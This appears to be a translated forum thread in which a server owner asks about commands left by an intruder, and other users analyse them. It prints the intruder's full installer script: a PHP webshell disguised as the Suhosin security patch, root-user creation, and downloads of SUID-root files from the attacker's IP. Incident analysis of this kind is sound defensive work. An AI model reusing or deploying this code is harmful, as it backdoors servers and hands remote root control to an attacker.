Я, вероятно, только что обнаружил, что пользователь на моем сервере рутировал мой сервер, но я спрашиваю не об этом.
Кто-нибудь когда-нибудь видел такую команду:
echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;
Мне кажется, что это работа какого-то автоматизированного скрипта, но я не уверен, какой именно.
Кто-нибудь знает об этом?
ОС - Debian Lenny, ядро 2.6.30-bpo.2-686-bigmem (если это важно).
Кстати, ссылка в приведенном выше коде замаскирована, всем, кто хочет, чтобы код был загружен, я сделал копию для анализа, поэтому могу предоставить ее по запросу.
Изменить: я прикрепляю содержимое сценария .sh в качестве справки, если кому-то интересно.
#!/bin/sh
PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`
if [ -z $PHP_INCLUDE_PATH ]
then
PHP_INCLUDE_PATH="/usr/share/php"
mkdir -p $PHP_INCLUDE_PATH
fi
GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"
GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"
PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`;
for file in `find / -type f -name 'php.ini'`
do
APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`
echo "[*] opendir:$OPENBASEDIR"
if [ ! -z "$APPEND" ]
then
APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`
echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
echo "[~] need to replace auto append file"
if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi
sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
else
echo "[~] need to add auto_append_file"
cp $file 1
echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
fi
touch -r $file 1
mv 1 $file
done
echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi
cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN, the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category pear
* @package Suhosin patch
* @author Sterling Hughes <sterling@php.net>
* @author Stig Bakken <ssb@php.net>
* @author Tomas V.V.Cox <cox@idecnet.com>
* @author Greg Beaver <cellog@php.net>
* @copyright 1997-2010 The Authors
* @license http://opensource.org/licenses/bsd-license.php New BSD License
* @version CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link http://pear.php.net/package/PEAR
* @since File available since Release 0.1
*/
function suhosin_unxor(\$data,\$len,\$key)
{
for(\$i=0;\$i<\$len;\$i++)
{
\$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i]));
}
return \$data;
}
if(isset(\$_SERVER['REQUEST_URI']))
{
if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
{
if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
{
if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
&& crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])
{
\$data=base64_decode(\$_POST['suhosindata']);
\$data=suhosin_unxor(\$data,strlen(\$data),ord('W'));
if(\$_POST['suhosinaction']=="update")
{
print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
}
else if(\$_POST['suhosinaction']=="command")
{
system(\$data);
print("SUHOSIN CMD\n");
}
}
}
}
}
?>
EOF
chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH
echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"
WGET=`which wget`
CHOWN=`which chown`
`$WGET $GETROOT_32_URL -O $GETROOT_32`
`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32
`$WGET $GETROOT_64_URL -O $GETROOT_64`
`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64
ls -la $GETROOT_32 $GETROOT_64
echo "[!] restarting ctls"
for ctl in ` ls {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"`
do
echo "[*] restarting $ctl"
`\$ctl restart`
done
rm $0
Интересный.
Действительно интересно.
Я никогда раньше не видел этого, но глядя на suhosin14.sh
сценарий, это зло. Он изменяет все php.ini
файлы, которые он может найти в системе, надеясь заставить PHP добавлять код на лету на каждую отображаемую веб-страницу PHP (через auto_prepend_file
). suhosin14.sh
также загружает и устанавливает пару модулей SUID-root, предположительно для того, чтобы его добавленный PHP-код запускался с привилегиями root.
Предварительный сценарий PHP (suhosin.php
) содержит заголовок комментария, в котором утверждается, что он является частью исправления безопасности Suhosin для PHP, но это определенно не так. Вместо этого сценарий отслеживает определенные запросы HTTP POST, содержащие запутанные команды XOR, которые затем деобфусцирует и запускает (предположительно с root
привилегии, благодаря модулям SUID-root).
Если эта вещь была запущена в вашей системе, скорее всего, она была рутирована. Отмена того, что suhosin14.sh
установщик выполнил [в частности: удалил предварительный сценарий PHP suhosin.php
, удалите модули SUID-root suhosin32.so
и suhosin64.so
и восстановите исходный php.ini
файл (ы)], вероятно, недостаточно для обеспечения безопасности, поскольку кто-то должен был получить root
доступ для успешного запуска установщика в первую очередь. Более того, последующие команды, отправленные удаленно через prepend-script PHP, могли легко установить любое количество руткитов или других бэкдоров.
Больше я ничего не могу предложить, кроме, возможно, проверки ваших журналов Apache на наличие запросов POST к страницам, которые обычно не должны получать запросы POST: это, вероятно, экземпляры удаленных команд, отправленных в вашу систему. К сожалению, журналы не сообщают вам, какие команды были выполнены, но вы можете получить другую полезную информацию, например IP-адреса и временные метки.
вау, это потрясающе, точно то же самое случилось со мной в четверг, и они сломали весь мой сервер. Я до сих пор не знаю, что мне исправить. Кто-нибудь может мне сказать?
Я нашел несколько интересных вещей по этому поводу в своих файлах журнала. Итак, я знаю, что кто-то подключился к нему и загрузил файл на сервер, что довольно удивительно. Я даже нашел тот же IP-адрес, что и вы, ребята.
--2010-11-25 23: 16: 18-- http://178.17.163.181/cbsdx Подключение к 178.17.163.181:80 ... подключено. HTTP-запрос отправлен, ожидает ответа ... 200 OK Длина: 8506 (8,3 КБ) [text / plain] Сохранение в:
cbsdx' 0K ........ 100% 94.8K=0.09s 2010-11-25 23:16:18 (94.8 KB/s) -
cbsdx 'сохранен [8506/8506] [Чт, 25 ноября, 23:17:41 2010] [уведомление] SIGHUP получено. Попытка перезапустить
Очень интересен, безусловно, ваш комментарий об useradd, поскольку у меня была строка, в которой говорилось:
25 ноября 23:16:24 s15398462 useradd [7815]: новый пользователь: name = aspnet, UID = 0, GID = 0, home = / home / aspnet, shell = / bin / bash
Я тоже использую Wordpress, может быть, это проблема, но у меня есть несколько других программ, так что кто знает.
Это случилось и со мной несколько дней назад. Вы случайно не пользуетесь Drupal или Wordpress? Мне любопытно, может ли это быть связано с уязвимостью какой-либо из этих CMS. У меня это случалось уже три раза, и я принял некоторые меры безопасности, но кажется, что они все еще могут добавить добавление suhosin в наш файл php.ini. Очень раздражает мягко говоря. Будем очень признательны за любую дополнительную информацию о возможных причинах или решениях.
Спасибо, Джозеф